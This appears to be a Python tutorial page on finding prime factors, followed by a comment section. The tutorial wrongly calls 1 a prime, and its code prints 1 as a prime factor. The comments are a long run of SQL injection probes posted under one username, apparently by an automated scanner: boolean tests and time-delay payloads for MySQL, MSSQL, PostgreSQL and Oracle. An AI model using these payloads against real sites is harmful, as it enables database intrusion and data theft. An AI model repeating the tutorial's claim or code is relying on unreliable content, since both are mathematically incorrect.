Prime Factor Program in Python

Get a number x and find the prime factors of x.

Sample Input 1:

24

Sample Output 1:

1<br>

2<br>

3

Note:

1 2 3 4 6 8 12 are the factors of 24. <br>

1, 2 and 3 are the Prime numbers in above factors.


Program or Solution

				
				
					

#Program to Find Prime Factors of Given number n
n = int(input("Enter a Number:")) #get input n
#checks which are the numbers from 1 to n/2 divides n.
#No other after n/2 divides n except n
for i in range(1,n//2+1):
    if n % i == 0: # if divisible then it a factor
        #Check Factor is Prime
        for j in range(2,i//2+1):
            if i%j == 0: #if divisible not a prime
                break
        else:
            print(i) #print the prime factor

Program Explanation

input() gets the value of n from users as string, and int() coverts the same to integer. 

The following for loop iterates from i = 1 to at n/2, in each iteration it checks whether the n is divisible by i.

No other number after n/2 divides n except n.

if i divides n then check whether i is prime or not. if i is prime print i.

Comments

ubaTaeCJ
-1 OR 2+213-213-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3+213-213-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3*2<(0+5+213-213) --
ubaTaeCJ
-1 OR 3*2>(0+5+213-213) --
ubaTaeCJ
-1 OR 2+133-133-1=0+0+0+1
ubaTaeCJ
-1 OR 3+133-133-1=0+0+0+1
ubaTaeCJ
-1 OR 3*2<(0+5+133-133)
ubaTaeCJ
-1 OR 3*2>(0+5+133-133)
ubaTaeCJ
-1' OR 2+730-730-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3+730-730-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3*2<(0+5+730-730) --
ubaTaeCJ
-1' OR 3*2>(0+5+730-730) --
ubaTaeCJ
-1' OR 2+961-961-1=0+0+0+1 or 'cCNJF5ji'='
ubaTaeCJ
-1' OR 3+961-961-1=0+0+0+1 or 'cCNJF5ji'='
ubaTaeCJ
-1' OR 3*2<(0+5+961-961) or 'cCNJF5ji'='
ubaTaeCJ
-1' OR 3*2>(0+5+961-961) or 'cCNJF5ji'='
ubaTaeCJ
-1" OR 2+612-612-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3+612-612-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3*2<(0+5+612-612) --
ubaTaeCJ
-1" OR 3*2>(0+5+612-612) --
ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ubaTaeCJ
-1; waitfor delay '0:0:15' --
ubaTaeCJ
-1); waitfor delay '0:0:15' --
ubaTaeCJ
1 waitfor delay '0:0:15' --
ubaTaeCJ
xrL2I2AM'; waitfor delay '0:0:15' --
ubaTaeCJ
-5 OR 272=(SELECT 272 FROM PG_SLEEP(15))--
ubaTaeCJ
-5) OR 636=(SELECT 636 FROM PG_SLEEP(15))--
ubaTaeCJ
-1)) OR 980=(SELECT 980 FROM PG_SLEEP(15))--
ubaTaeCJ
DKUEN9gV' OR 998=(SELECT 998 FROM PG_SLEEP(15))--
ubaTaeCJ
8MdQMRAq') OR 235=(SELECT 235 FROM PG_SLEEP(15))--
ubaTaeCJ
PUSHwgK0')) OR 544=(SELECT 544 FROM PG_SLEEP(15))--
ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
1'"
ubaTaeCJ
@@TSZSU